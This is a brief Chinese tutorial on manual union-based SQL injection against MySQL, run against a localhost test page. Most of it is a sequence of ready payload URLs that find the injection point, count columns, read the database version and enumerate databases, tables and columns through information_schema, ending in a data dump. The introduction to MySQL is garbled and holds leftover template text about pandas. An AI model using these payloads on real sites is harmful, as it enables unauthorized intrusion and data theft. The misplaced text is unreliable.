Mysql手工注入
前言
Mysql手工注入系列,使用联合查询进行手工注入。
一、Mysql数据库的介绍
示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。
二、利用步骤
1.判断注入点
字符型注入
http://127.0.0.1/sql.php?id=1' and 1='1
http://127.0.0.1/sql.php?id=1' and 1='2
返回错误
可以判断出注入点是存在的。
2.判断字段长度
http://127.0.0.1/sql.php?id=1' order by 3%23
显示位的长度为3。
3.判断显示位
http://127.0.0.1/sql.php?id=1' and 1=2 union select 1,2,3%23
4.判断数据库版本
http://127.0.0.1/sql.php?id=1' and 1=2 union select version(),2,3%23
5.爆出其他数据库
http://127.0.0.1/sql.php?id=1' and 1=2 union select schema_name,2,3 from information_schema.schemata limit 0,1%23
通过limit遍历出所有数据库的名称,直到报错。
6.爆出对应数据库的表
http://127.0.0.1/sql.php?id=1' and 1=2 union select table_name,2,3 from information_schema.tables where table_schema=0x787373706c6174666f726d limit 2,3%23
7.爆出对应数据库,表的字段名称
http://127.0.0.1/sql.php?id=1' and 1=2 union select column_name,2,3 from information_schema.columns where table_schema=0x787373706c6174666f726d and table_name=0x6f635f70726f6a656374 limit 2,3%23
8.脱库
http://127.0.0.1/sql.php?id=1' and 1=2 union select title,2,3 from xssplatform.oc_project limit 0,1%23
总结
熟能生巧。